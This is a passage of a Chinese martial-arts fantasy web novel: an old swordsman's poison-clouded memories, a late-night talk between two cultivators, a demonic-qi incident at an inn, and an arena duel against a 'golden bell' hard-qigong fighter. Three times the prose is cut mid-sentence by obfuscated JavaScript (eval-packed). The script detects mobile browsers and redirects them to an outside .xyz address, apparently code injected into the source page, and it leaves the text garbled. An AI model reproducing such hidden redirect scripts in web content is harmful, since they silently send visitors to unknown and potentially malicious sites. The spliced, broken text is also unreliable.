山庄是朴实美好的,炊烟袅袅,微风习习,温热而恬静,像一个独立于江湖恩怨的世外桃源;剑法是纯粹干净的,每一次挥剑,他想的只是希望此刻成永恒,身边之人永不离去;桃花树是温柔明媚的,很像十几岁的阿云,明媚如风,爱恨分明,却又和春风一样温和坚韧,永远向前;师兄师姐是真诚友好的,他们的笑容一定是发自真心,他们偶尔露出的苦恼和气愤也同样真挚动人,能让他的心为之波动。 蚀心之毒,果然名不虚传。 他呕出一口淤血,心想:这么多年过去,这颗心果然慢慢地死掉了。 又几年过去,蚀心发作更烈,他神志不清,醉生梦死,记不得身边人,更记不清自己。 直到他得到了宁子盈死于赵之闻剑下的消息。 那天他强行运功,压制了蚀心,在院中将照雪剑练了一遍又一遍。 到了傍晚,蚀心渐渐开始发作,恍惚中,他看到身边有个十几岁的少女。 他面容不自觉地抽动不已,但仍用尽全力,拼出一个笑容:“师妹,我这剑,是不是练得很差啊?” 那少女却倏地跪下:“舵主,这是今晚的药。” 他听不清少女说了什么,迷迷糊糊地看着那少女快步离去,忽然痛哭失声。 他形容狼狈,披头散发地掩面痛哭,像一个以哭泣表达所有情绪的婴孩。 哭了许久,他骤然拿起剑,凌乱地挥舞着,直到耗尽气力,跌坐地上。 这回他神色平静。他只是看了看被剑锋割下的灰白头发,又看了看陪伴自己二十几年的剑。 这把剑名为“暮雪”,是十几岁时师父亲手传给他的。当时的他欣喜不已,但并未直接表达,而是将剑法练了一遍又一遍。宁云坐在一旁看着他,扬声道:“师兄,你有个地方错了哦!” 剑锋如旧,青丝却已成雪。 他喃喃道:“君不见黄河之水天上来,奔流到海不复回……” “——君不见高堂明镜悲白发,朝如青丝暮成雪。”十几岁的宁云偏头看着书,皱了皱眉,“师兄,为什么早上的黑头发,到了晚上就像雪一样白了呢?” 十几岁的他侧眼看着她的脸,见她看向他,慌乱地移开目光:“可能是下雪了吧。雪落到头上,就像是头发变白了一样。” 宁云点了点头:“我觉得有道理,就像那句诗一样,‘他朝若是同淋雪,此生也算共白头。’这句话不就是说,雪落到了头发上,就像是头发变白了么?” 他在少女炽热的目光中“嗯”了一声:“是的,就是这个意思。” 宁云伸出一只手,戳了戳他:“什么就是啊!那句话的意思是,时间过得好快,一转眼就已经老了。师兄你真笨!” 段泊川看了看指间的白发,喃喃道:“是啊,一转眼,已经老了。” …… 25. 夜话 崔羽落推开客栈门,扫视一圈,捕捉到隐约的灵气流动,抬手解开黑衣人身上的隐身咒。见他依然人事不知地昏倒在地,她低声问道:“他多久能醒来?” 慕惊弦轻轻带上门:“不出意外的话,如果我不解咒,至少有十天。” 崔羽落向前几步,泄气一般地在床上躺下:“如果‘你’不解咒?为何这样说,难道别人没法解么?” 慕惊弦将外袍叠得整齐,坐在地铺上:“自然。” “这不就是一个寻常的昏迷咒么?为何别人没法解?” “这不是寻常的昏迷咒,因此只有施咒者能解开。” “噢。” 慕惊弦坐了半晌,见崔羽落毫无动静,便试探着问道:“睡着了?” 床那边依然没有动静,他只道崔羽落奔波许久过于劳累,于是躺下准备入睡,却听崔羽落突兀地说了句:“我方才……忽然想起一件事。” “什么?” “第一次在地牢相遇的时候,你说……你知道我是谁?”崔羽落实在是有些困倦,语气带了些温吞的含混,“那你现在倒是说说,我究竟是谁?” 慕惊弦默了默,没有立刻回答。崔羽落以为他没有记起来,又道:“你忘了么?就是当时你说,你有办法让我出去,但我那个时候不太信你,你就说你知道我是谁。” “其实……” 崔羽落望着床帘,等他“其实”后面的内容。 “——我当时是诈你的。我一直在玄昭门修炼,怎会知道你的身份。” “那如果,当时我偏偏问你了呢,你会怎样回答?” 慕惊弦想了想:“我可能会说,你是一个……外地人。” 崔羽落在帷帐中无声地笑了笑,心想:确实是外地人。 慕惊弦补充道:“因为你的口音和地牢中的其他人不一样。” “这倒也是,”崔羽落一躺下,便连衣服和鞋袜都懒得去脱了,“话说,像今天遇到的这种江湖恩怨,你之前经常见吧?” “没有。” “我看话本上那些仙门子弟,不是要经常下山游历么?那游历的过程中,难道不会遇到这些江湖人么?” “应该会吧。” “应该?”崔羽落有些疑惑,“那你自己呢?下山游历的时候没有遇到过么?” 慕惊弦顿了顿:“我没有下山游历过。” “啊?” 慕惊弦低声道:“除了偶尔出门斩妖除魔,我一直都待在玄昭。上次仙魔大战,我受了重伤被魔宗抓走,直到现在……这是我第一次离开这么久。” 崔羽落听到这些,有些不知所措,只得尽量语气和缓地说:“那你……先前一直在玄昭努力修炼么?” “其实,”慕惊弦忽然笑了笑,“也没有那么努力。你瞧,后来仙魔大战,我被重伤,不是有很多人说我盛名之下其实难副么?确实如此,我没有他们说的那么神。” 崔羽落努力地在脑海中组织安慰的话,但又一次感受到了“词到用时方恨少”,两人有些尴尬地静默了片刻。 崔羽落有些干巴巴地说:“是他们之前不够了解你,所以后来发现你和他们想象中的不一样,才会那样说。其实吧,我觉得你还是挺厉害的。” 慕惊弦低低笑了几声:“我知道,所以我觉得没什么,他们说就说吧,反正我已经‘隐居’了。” “是啊,所以别人怎么想怎么说,和我们根本没有关系,自己快活就够了。” “那你呢?” 崔羽落有些发愣:“我?” “我刚刚说了我之前的事,那你呢?你之前的生活,是什么样的?” 崔羽落想了想:“我么?我之前……是个无业游民,这个之前也和你说了,然后好像也没什么可说的了。” “你的家乡呢?就算后来离家很远,那也总有个出生的地方吧?” “我家离这里确实很远,”崔羽落结合自己的实际情况,适当地进行胡编乱造,“我家其实在一个很普通的小村庄,父母都是农民,平常会把家里种的菜和水果带去市场卖。后来呢,我就想看看外面的世界是什么样子的,所以就离家出走了,然后这么些年一直在外面四处游荡,就这样了。” “离家出走?你为什么想离家出走?” “因为想去看看外面的世界啊,家乡那个小村庄看了那么多年,已经熟悉的不能再熟悉了,所以就想去看看没见过的地方。” 慕惊弦平静道:“不是,我的意思是,为什么是‘离家出走’呢?你没有和家里人说一声么?” 崔羽落一愣,随后笑道:“留了封信,告诉他们我出去当无业游民了呗,让他们不要担心。” “为何不当面和他们说呢?” 崔羽落心想“怎么这么钻牛角尖”,答道:“怕当面说的话不放我出去。对了,你先前一直在玄昭,就没有想过要出去么?” “想过。” “那你……为何不试试离家出走呢?” “玄昭哪里是那么好跑的。” “噢噢,”崔羽落讪讪应道,心想果然自己主动发问的话,慕惊弦就语言简洁多了,“确实哦。那你觉得之前那样在宗门修炼的生活比较好,还是金盆洗手隐居山谷的生活比较好呢?” “隐居。”慕惊弦看着有些破旧的房梁,思绪有些飘忽,“若你是个江湖人,你觉得像赵之闻那样大隐隐于市比较好,还是和段泊川一样身居高位呼风唤雨比较好呢?” “我觉得都不是很好。” 这回轮到慕惊弦疑惑了:“为何?” “我觉得当一个大侠比较好,既不像赵之闻那样不过问江湖事,也不像段泊川那样被各种恩怨情仇裹挟。”崔羽落觉得自己没有先前那么困了,侧眼看着窗缝,听见外面的鸟叫了几声,“但是人在江湖身不由己,当了大侠,行侠仗义的时候难免会得罪一些人,有些人可能只会暗中记恨,但有些人好面子,巴不得把我一顿胖揍,那样的话……他要是来寻仇,我要么被他打,要么把他打一顿,不管哪样,事情都会更麻烦。唉。” 慕惊弦无声地笑了笑:“人在江湖,身不由己。” “人在江湖,身不由己。唉,”崔羽落又想起赵之闻,“赵之闻说还会再见,也不知道他那些绝世武功,还有没有机会传给我。” “你真的想知道的话,我明天可以算一卦看看。” “行啊,”崔羽落坐起身,“你……不困吗?” “有点困。你呢?” “有点。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15604474|168986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “那……还睡吗?” “睡吧。”崔羽落脱下鞋袜,又踩在床边的矮凳上脱了外袍,她放下床帘时看了一眼窗外,发现天色已经有些白了。 她躺了下来:“真得睡了。晚安,不对,早安。” “晚安。” * 崔羽落醒来已是第二天上午,还是被沈临澄的敲门声唤醒的。 “还没醒吗?” 崔羽落披上外衫,发现慕惊弦已经醒了,便回道:“在穿衣服,稍等一下。” 片刻后,四人在客栈一楼落座,崔羽落见周围许多桌凳都有损坏的痕迹,但客栈老板看上去心情不错,猜测是那些江湖人给了客栈不少的赔偿款。 沈临澄先开了口:“吃什么?” 其余三人异口同声道:“都可以。” 沈临澄:“……” 崔羽落补充道:“我没有忌口的,你们两位有吗?” 见慕惊弦和白渟都摇了摇头,崔羽落看向沈临澄:“既然如此,姐姐点一些自己想吃的就可以。” 沈临澄道:“好吧。”便转身叫了一声小二,待他走近后说:“四碗酸汤面,然后再加一份牛肉,一份青菜。” 小二离开后,沈临澄转向几人,面色凝重:“那我们接下来要去哪里呢?对了,昨天那个灭口的黑衣人呢,还在你们的房间么?” 崔羽落点了点头。 “那我们继续找那些人贩子的话,或许可以从他身上下手。”沈临澄忽然想起什么,“对了,郑夫人失踪,我们得先找到她。” 崔羽落道:“玄昭已经找到她了。” “找到了?她去哪了?” 慕惊弦答道:“根据玄昭的消息,她自己说只是出去转了一圈。” 沈临澄瞪大眼睛:“转了一圈?去哪转?” 慕惊弦答道:“玄昭的人说,她只是在附近转了一圈,然后就自己回去了。” “好吧。那我们一会儿可以审问一下那个黑衣人。” 崔羽落摇摇头:“我觉得审问的话,他可能不会说真话。我们不妨假装不小心将他放走,再跟着他,看看他会去哪。” 她转向白渟:“昨天你说你在酒馆待了一天,那为何不去客栈呢?” 白渟答道:“因为镇子上的两个客栈,一个客栈据说会闹鬼,我不敢一个人住,另一个客栈里有很多江湖人,我也不敢一个人住。” “原来如此,那你之后有什么打算?” “我……我不知道。”白渟抿了抿唇,“我不敢再回家了,可能会再走远些,看看有没有店缺人干活。” 几人吃完了面,向二楼客房走去,就在这时,二楼传来一声凄厉的惨叫,一楼吃饭的人不约而同地一怔。 崔羽落轻身一跃,向声音传来的方向而去。只见一间客房内,女子满脸惊恐地看向床铺。 崔羽落顺着她的目光看了过去,只见一男子正一动不动地僵卧着,令人惊骇的是他的脸。他双眼圆睁,不见眼白,整个眼睛都是可怖的黑。除此之外,无数条黑色的纹路正缓缓爬过他的脸,蜿蜒扭曲如蚯蚓。 而他全身都笼罩在诡异的黑气中,黑气逐渐浓郁,散出腐朽的气味。 女子浑身颤抖:“闹鬼啊!” 26. 擂台 崔羽落想起先前在书上看过的内容。 ——眼不见白,黑气缠绕。 “他这是被魔气侵染了。”她抬手起咒,灵气流转,缓缓将魔气化解。 “怎么这个客栈也有了这么重的魔气?”沈临澄的声音在身后响起,随后另一道灵力与魔气相交,黑气渐淡,男子的面容逐渐如常。 女子看向恢复正常的男子,感激地看向崔羽落和沈临澄:“实在是太感谢了!” “没有没有,举手之劳而已。”沈临澄摆摆手,随后环视周围,皱眉道,“为什么这个镇子上会有魔气?” 崔羽落扬声问道:“这位姐姐,他是什么时候开始有异样的?” 女子转头答道:“我们前一日在这家客栈住下,然后一直都没有什么异常,早晨我先醒来,见他还睡着,我就出去在街上逛了逛,买了一些点心,回来的时候看见他还躺在床上,我以为是他身体不适,便走近查看,结果……真是吓人。” 崔羽落道了声谢,回头对沈临澄说:“既然如此,我们去看看客栈的其他地方吧。”二人出了门,大致查看一圈后回到了房间。 四人围坐桌前,沈临澄瞥了一眼墙角昏迷的黑衣人:“魔气会和这些人有关吗?” 慕惊弦道:“我方才施法查探了魔气的源流,发现这魔气并非孤立,而是绵延交织的。至于是否和这些人有关,还得再查一查。” 崔羽落问道:“魔气从哪里来?” “西南方向。” 崔羽落沉吟道:“西南?” 先前在连波亭,宁云提起拐卖一事,便告知她可前往西南方向调查,而魔气的源流在西南,或许……顺着魔气的来处探查,能发现更多信息。 她继续说:“我听闻西南方向也出现过拐卖一事,或许我们可以循着魔气的来源查一查。” 沈临澄道:“那这个人我们怎么处理?还要跟踪他吗?” 崔羽落想了想:“话说先前张束被我们抓住,很快就被人带走了。但这个人看样子是要杀张束的,后来没杀成,但……也没有别人来处理他。” 沈临澄眼神一亮:“说不定这个人和张束不是一伙的!那他到底是哪边的呢?” 崔羽落道:“当时来了一群人,看上去是要灭口,但一波攻击过后就离开了,张束也被人带走了。所以我觉得那些黑衣人和张束是一伙的,至于这个人……他看上去是真的想杀掉张束,后来落在我们手上,也没有人来接应或者灭口,因此我觉得,他大概和张束他们不是一伙,但他究竟是什么人,暂时还不好判断。” 沈临澄点点头:“确实,或许我们可以看看他之后会去哪。但这样的话,跟着他还是查魔气,怕是只能做一件了。不过我们可以分头行动,几个人去查魔气,几个人跟踪。” 慕惊弦道:“说不定他是故意引导我们去某个地方呢?与其跟着他,不如用个追踪咒,既可以知晓他去了哪里,又可以避免陷入危险。” 沈临澄看向白渟:“那你……” 白渟目光认真地看着她:“我和你们一起。” 沈临澄神色凝重:“但和我们一起,万一遇到鬼怪什么的,可能会有些危险。” 白渟道:“我不怕!” “好吧。那我们先把这个人放了,然后去西南那边。” 崔羽落道:“离开此地前,我们可以再看看哪里有魔气,处理一番再走。” “好。” 慕惊弦将施加在黑衣人身上的昏迷咒撤去,又施以新的昏迷咒和追踪咒。 崔羽落问道:“这个是劲没那么大的昏迷咒么?他多久能醒来?” 慕惊弦答道:“他若想醒来的话,大概一两天便可以。” 几人消除了客栈的魔气,便收拾包裹离开客栈。所幸除了两家客栈,其余地方没有被魔气侵染,几人便准备向西南前去。 沈临澄舒展身躯,看着有些暗沉的天色:“忙了这么久,我前几天听说这条街上有一家店的点心不错,要不要去看看?” 崔羽落道:“就是你昨天晚上让张束去买的那家店?当然可以呀!” “对,就是那一家。”沈临澄笑道,“做了一些好事,虽然不是很大,但还是得奖励一下自己。” 几人到了“柳记点心铺”门前,老板笑眯眯道:“几位客官,进来看看吧,可以尝尝看有没有喜欢的。” 沈临澄率先进了门,自行挑选了一些,回头对三人说:“我听说这个板栗酥很好吃,我多拿了一些,待会儿我们可以一起吃。” 崔羽落站在点心前,想着“看上去确实还不错”,便听见慕惊弦在身后对老板说:“每种都包一些吧,多谢。” 崔羽落回头,看到慕惊弦将几块银子放在桌上。她结合银两的大小和点心的价格,大致估算了一下,觉得此人还是太人傻钱多了。 ——不过无所谓,又不是她的钱。 何况第一个月的工资还没发呢,此人越是人傻钱多,她谈条件抬高薪酬待遇的程度就越高。 冷冰冰的婚约变成了温暖的钱财,想想就让人高兴。 * 几人驻足,抬眼看向城门上的两个大字。 ——沅城。 慕惊弦道:“城内的魔气比方才那个镇上的更重。” 崔羽落前行一步:“走吧。” 几人找了家客栈安顿,依然是两人一间。到达客栈已是午后,放下行李后沈临澄和白渟来敲门。 沈临澄问道:“我们在客栈吃还是去外面吃?” 崔羽落看了看窗外:“出去吧,刚好转转。” 四人出了门,见不远处人群聚集。崔羽落抬眼看去,见那是个擂台,两侧摆着刀枪剑戟等兵器,台上有两名男子手持兵器打斗。 崔羽落好奇道:“那是在比武么?” 沈临澄答道:“是啊,走,去看看。” 到了近前,台上一人恰好被另一人鞭腿横扫腰腹,闷哼一声便被踢落台下。台上的人笑着抱拳,台下爆发出一阵喝彩。 这时有一人上了台,崔羽落见此人作书生打扮,气质儒雅,不似习武之人,心道:他是要挑战此人么? 那人微笑道:“欢迎大家捧场!接下来有谁要挑战这位兄台呢?” 原来此人是个主持人。 底下许多人都喊道:“我来!” 那人拱了拱手,压下众人的声音,继续道:“大家太热情啦!既然如此,咱继续用令牌来决定下一个是谁吧!” 说罢,他抬起手,让底下人都看清了他手上的一块木牌:“等一下我数三声就往下扔,至于谁能拿到,那就得看大家的本事了。不过多说一句,这牌子若是被谁弄坏了,我上面那位怕是得生气,他若生气,恐怕那弄坏牌子的人得不好过咯。” 木牌轻飘飘地被扔了出去,接近人群时,一男子轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620673|168986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身而起,手掌在一人肩上一按,便倏地向高处掠去。就在他的手要触及那牌子时,一粒小石子极快地向他的手腕飞去。 他骤然收手,转眼却发现那木牌不见了。 一身材矮小的男子不知何时夺走了木牌,正要上擂台,却忽然被一根鞭子缠住了脚腕。他腿上发力,将那长鞭弹开,那鞭子却如游龙一般又缠向他手肘,他略一侧身将它躲过,胸前却忽然一麻。 长鞭末端极其灵巧地点了他的穴位,随后他发现自己浑身麻木,而手上的木牌被那长鞭卷了过去,他只能眼睁睁地看着那木牌落入一个身材小巧的少年手中。 崔羽落看了看那少年的脸,忍俊不禁:这女扮男装的水平实在是不敢恭维。 持鞭少女轻巧地掠向擂台,不出意外地,又是“半路杀出个程咬金”,一个黑脸壮汉出手成爪,抓向她的脚踝。少女却动作极快地扭身,足尖在他小臂上借力一点,与此同时提膝横扫壮汉脖颈,动作极快,腿风刚劲。 下一瞬她却骤然飞了出去,而那壮汉不动如山,手中拿着那块木牌。 周遭顷刻鸦雀无声。 片刻后,有人发出第一声“厉害”,众人不约而同地给壮汉让出一条道,使他没有阻碍地上了擂台。 崔羽落转头,发现沈临澄目瞪口呆:“姐姐,这是什么功夫?” 沈临澄眨了眨瞪了半天的眼:“传说中的‘金钟罩铁布衫’,居然今天让我见识到了。” 崔羽落在武侠小说中见过“金钟罩铁布衫”,仍问道:“金钟罩铁布衫?那是什么啊?” “那是一种很厉害的硬气功,据说练成这种功夫的人刀枪不入水火不侵,像铜墙铁壁一样,常人打在他们身上,不仅不会伤到他们分毫,反而会被那反过来的力道伤到呢!” 崔羽落看着那身形如塔的壮汉站在台上,对面的男子有些紧张,但仍强装淡定,点头道:“原来如此。” 先前那书生下了擂台,扬声道:“两位准备好了就开始吧。” 台上二人行了礼,原先那男子提剑前刺,台下人还未看清,台上便只剩一个人了。 书生在台下众人惊诧的目光中上了台:“接下来有谁来挑战?” ——这回没有人答应。 就在此时,有个小童小跑着上了台,书生弯下腰听他在耳边说了些话,站直后说道:“既然如此,咱们还是用令牌来决定下一个上场的人。我数三声,木牌最后落在谁手上,谁就是下一个上台的人。” 台下人很沉默,像是谁也不愿意被木牌碰到一样。 “三。” 崔羽落低声道:“也不知道这最后的擂主有什么奖励。” 前面一个男子听到了,转过头答道:“有好厉害好厉害的武功秘籍嘞。” “二。” 崔羽落追问道:“什么秘籍?” 那男子却转身跑路了,留下一句:“不清楚噻,我先走了,姑娘若是感兴趣不如上去试试。” 崔羽落心想着“有点兴趣但不多”,一边有些走神地想着:怎么感觉有点像老师提问,谁也不想被点到。 “一。” 崔羽落环视四周,发现好像少了很多人。 但是——怎么感觉很多人在看她? 她低下头,发现那块木牌好巧不巧地挂在她的腰带上。 台上书生看着嘴角挂着笑容的崔羽落:“姑娘,请吧。” 27. 比试 崔羽落僵硬地扯了扯嘴角,缓缓伸出一根手指,指尖朝向自己,干巴巴地说:“我……吗?” 书生微笑道:“不错。” 崔羽落捏着那块木牌,微微偏头,小声问道:“姐姐,那你知不知道这金钟罩铁布衫应该如何应对?” 沈临澄想了想,小声答道:“或许……不能和他硬碰硬?其实我也不太清楚,实在不行的话,悄悄用个昏迷咒吧,你如果不会我可以找机会放。” 崔羽落略加思考,回道:“我觉得还是别了吧,这样有点犯规,不过不必担心,我会努力的。” 随后她在众人的注视下平静地走上擂台,将木牌递给书生,礼貌地问道:“请问这个比武是可以用武器的吧?” 书生点点头:“可以的,不过既然是比武,那就讲究一个点到为止,痛下杀手或是暗箭伤人都算犯规。姑娘想用什么武器呢?咱这边倒是准备了一些,不知道姑娘趁不趁手。” 崔羽落这才发现,“破伤风”和行李一起放在客栈了,没带在身上。 ——不过谁出门吃饭还带刀啊? “不用了,”她转身站定,面对着那壮汉,“你好。” 壮汉一愣,见她是个看上去没几两肉的少女,有些迟疑地说:“好。” 书生走下台:“两位准备好了便可开始。” 壮汉拱手道:“姑娘,我让你三招。请。” 崔羽落回道:“那我也让你三招,你让的三招和我让的三招相抵,我们直接开始吧。” 壮汉见她神色从容,不禁心下狐疑,只道她是个深藏不漏的高手,不敢掉以轻心,于是眼神一凛,弓步微压,表面按兵不动,实则运起内力,使浑厚力道如盔甲一般遍布全身,若是某个部位受到攻击,周围的内力便会游走到那里与之相抗。 崔羽落观察着壮汉,心想:他既练成“金钟罩铁布衫”,那大概是在等我先手。我若先手出招,定会被他的内功震开。 于是她一边关注着壮汉的动作,一边说道:“兄台迟迟不动手,莫非是见我是个文弱女子,有意让着我么?” “不错。” “兄台如此礼让,在下倒是有些不知所措了。” 壮汉神色严肃:“此话怎讲?” 崔羽落感受到自己握拳的手心已出了一层薄汗,面上仍十分淡定地说:“我从小便听闻孔融让梨的故事,在家中练功的时候,我娘也时常嘱咐我日后行走江湖,务必要对前辈们多加尊重,唯有如此,才能行得端站得直。” “孔融?那是谁?” “……”这个世界没有这个故事吗? 壮汉依然十分严肃:“不用搞那些乱七八糟的,姑娘,出招吧。” 崔羽落一笑:“既然如此,在下便有话直说了。” “什么?” “阁下已练成‘金钟罩铁布衫’,在比试的时候却总是等着对方先出招,这怕是有些欺负人了。” “这功夫是我自己练的,手也长在自己身上,怎么就欺负人了?” “若是我说,我也练成了这种功夫,那我们比试,岂不是得面对面站着,大眼瞪小眼,比谁耐性更好了?” 壮汉皱了皱眉:“那你说要怎么比?” 崔羽落想了想,道:“既然‘金钟罩铁布衫’是内功,那我们不妨比一下内力。” 壮汉看着她:“怎么比?” 崔羽落抱起手臂,悄悄在衣服上擦了擦掌心的汗:“用木牌。” “什么?” 崔羽落转头对台下的书生说:“先生,可否借方才的木牌一用?” 书生顿了顿,抬手将木牌扔出,崔羽落伸手接过:“多谢。” 书生笑道:“切记不要损坏令牌。” 壮汉不明所以:“用这个?” 崔羽落低头看向擂台的地板:“你看,这擂台中间刚好有一条线,等一下我们开始比试,若是这木牌掉在谁那边的地上,就算谁输,而且,在这过程中,谁自个儿掉下了台,也算是输给了对方,如何?” 壮汉理了一下这古怪的“规则”:“木牌掉在谁那边儿,就算谁输,谁比木牌先掉下去,也算输。” 崔羽落补充道:“木牌要是在谁手里掉下台,也算那个人输。” 壮汉道:“乱七八糟的,那就这么比吧,台下的大伙儿也记着,一起看看谁赢谁输。” 崔羽落抬手举起木牌:“那便开始吧。” 壮汉微微点头,崔羽落轻轻将木牌向壮汉那边扔去。 壮汉向前半步,伸出手准备抓住木牌。崔羽落却身形一闪,一拳照着他面门打了过来。他冷哼一声,伸出的手猛然收回,手肘外送,便要与崔羽落的拳相撞。与此同时他倏地提膝,落下的木牌被他足尖一弹,高高地向空中飞去。 崔羽落的拳直直落在壮汉小臂上,她却没有被反弹的力道震开,而是微微一晃,借力后仰,左腿顺势抬起,直踹向壮汉腹部。 壮汉不动如山,似是等着对面的人被自己的力道震开。但崔羽落那一脚似是没有用力,刚刚触及他的衣服,便已轻飘飘地晃了回去。 壮汉看着后撤两步、手中接住木牌的崔羽落。 木牌方才被他一脚直直踢上了天,下落的时候被风吹歪了些许,因此轨迹偏向了崔羽落的“领地”。若是她没有接住,那木牌则会刚刚过界。 “你……没有用力?” 崔羽落答道:“用力了。只是在下一介弱女子,本身就没什么力气,请前辈莫要见怪。” 壮汉笑了笑,并不答话。 崔羽落道:“那……我们继续?” 木牌再次脱手飞出。 这次木牌划出一个优雅的抛物线,壮汉骤然出手,木牌被他凌空推向崔羽落。 崔羽落伸手接住木牌,却被那内力震得后退几步,鞋底与地面猛烈摩擦,堪堪使她顿了下来。 她离擂台边缘只有半步之遥。此时将木牌扔出去的话,那壮汉若是再以掌风相逼,她怕是得直接掉下去。 罡风乍然逼近,崔羽落在擂台边沿站定,忽然抬手一扔。 壮汉见她动手,便收了掌力,向自己的半场退去。却见崔羽落顶着未散的内力,足尖点地,向自己袭来。 他先前撤了掌力,方知崔羽落是在用扔木牌的假动作忽悠他回撤。如今见她袭来,却也不慌不忙,只因内力已再次运转全身,强悍护体,不怕她的攻击。 可待崔羽落靠近他,他看到那少女素手一晃,指间似乎夹着什么东西。 ——木牌? 他不禁想起“不可毁坏木牌”的规矩,不敢再以内力对抗,而是微微侧身作避让状。 崔羽落与他错身而过。 他却看见眼前人微微一笑。 木牌忽然脱手,轻飘飘地落向擂台边缘。壮汉腿脚发力,提起内力,向木牌掠去。 崔羽落却正站在他的路线中间。他见她抬手,心道一声“不好”,便已被那拳击中胸口。 下一瞬,他整个人横着飞下了台。 “啪。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15633247|168986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 木牌落了地。 周围静默许久,忽然有人叫了声好。 崔羽落在叫好声中走下台,向刚刚站起身的壮汉抱拳道:“得罪了。” 壮汉摆摆手:“是我技不如人,何来得罪。” 书生上台道:“那本场擂主便是这位姑娘了。可还有人要挑战?” 见没有人上台,书生对崔羽落说:“姑娘年纪轻轻,却深藏不露,武功盖世,在下实在佩服。” 崔羽落忙道:“不敢不敢,在下不才,方才不过是碰巧,才侥幸获胜。” 书生道:“姑娘何必谦虚?” “因为在下真的不才。” “哈哈哈,姑娘说笑了。”书生又是一礼,“姑娘若不嫌弃,稍后请到会英楼一叙。” “不用不用。” 书生奇道:“参加比武,难道不是为了赢下那最后的奖品么?姑娘既成擂主,却为何拒绝?” “噢,”崔羽落挠挠头,“实在抱歉,忘记了。惭愧惭愧。” “姑娘果然是爽朗之人。”书生笑道,“若不嫌弃,姑娘稍后便与你的朋友们一起来吧。” 看着书生离开的背影,崔羽落心想:怎么感觉是冲着我来的? 沈临澄走了过来:“不对啊,那人不是练了金钟罩铁布衫吗,后面怎么被你一拳打出去了?” 崔羽落回头,见三人都靠了过来,压低声音道:“因为在最开始交手的那几个回合,我仔细观察了一下,然后我发现,他若不动如山,那么他的内力就会像铠甲一样在全身形成防护,这个时候若是有人打他,则会被反弹的力道震开。” 沈临澄点点头:“所以,他若是动得很快,那么内力也会动起来了?” 崔羽落道:“我猜是这样,所以我趁他行动突然出手,果然发现他在那时没有强力护体。” 沈临澄笑道:“妹妹果然聪慧,姐姐佩服。” 崔羽落摆手道:“误打误撞罢了,姐姐何必打趣。” 沈临澄哈哈一笑,向前走去:“走吧,看看那人给我们准备了什么大餐。” 崔羽落看着她欢快的背影,不禁笑了笑,却听见慕惊弦的声音在身边响起:“那人即使突然动身,护体内力也只是弱了一些,打在他身上的力道若是不够强悍,还是会被震开。” 崔羽落回头答道:“是啊,所以必须得在合适的时机全力一击,如果时机不合适或者力量不够强,还是会被重重弹开。” “这会儿……好像和你平常一样了。” “什么?” “说话。” 崔羽落想起方才和那书生的对话,不禁笑道:“哦,原来是这个。我方才见他说话文绉绉,便也换了种风格。” “换了种风格?” “是啊,”崔羽落挑眉道,“更像古人一些的风格。” “像古人?” “不对。”崔羽落边走边思考,“我的意思是,有古人之风。” “……” “可能描述得不太对,但是……在下不才,你自己理解一下吧。”崔羽落抬头看着“会英楼”的牌匾,闻着空气中飘出的饭菜香味,加快步伐向前而去。 慕惊弦快步跟上,问道:“可是你为何有那么强的内力呢?” 崔羽落说了句“因为我深藏不露”,看到不远处某个熟悉的人影,愣在原地。 慕惊弦低声道:“在下有才。” 崔羽落有些僵硬地说:“什么?” “记得改成古风。” 28. 鬼影 赵之闻坐在桌前,笑吟吟地说:“这不巧了吗?前一晚我说有缘江湖再见,不到一天,果然在这里又见面了。快来快来!” 崔羽落笑道:“是啊前辈,我几个时辰前还在想,你那些绝世武功也不知道什么时候能传给我,没想到在这里又相遇了。” 坐在桌边的沈临澄奇道:“咦?你们昨晚见过?” 崔羽落坐在她旁边,简单讲述了前一晚遇到宁云之后的事情。沈临澄听完道:“那你们在这里相遇,也实在是有缘。” 崔羽落压低声音道:“但是我觉得他似乎是知道我会来这里,特意等候于此的。” 沈临澄低声道:“我也觉得,不然那木牌怎就刚好挂在你衣服上了呢?” 赵之闻朗声笑道:“正所谓人生何处不相逢啊,先吃吧,我点了一些酒菜,也不知合不合你们胃口。” 几人便不再多言,开始吃饭。不多时,崔羽落有了些饱腹感,便放下筷子,端起面前酒碗开始慢慢喝,却听赵之闻开口道:“你们是在查这一带闹鬼的事吗?” 崔羽落端碗的手顿了顿,便听赵之闻继续道:“我先前在那个镇子上听说过闹鬼的事情,然后我就问镇子上的人,这附近还有没有其他地方闹鬼,刚好有从沅城来的人和我说,这里也有闹鬼的传言。” 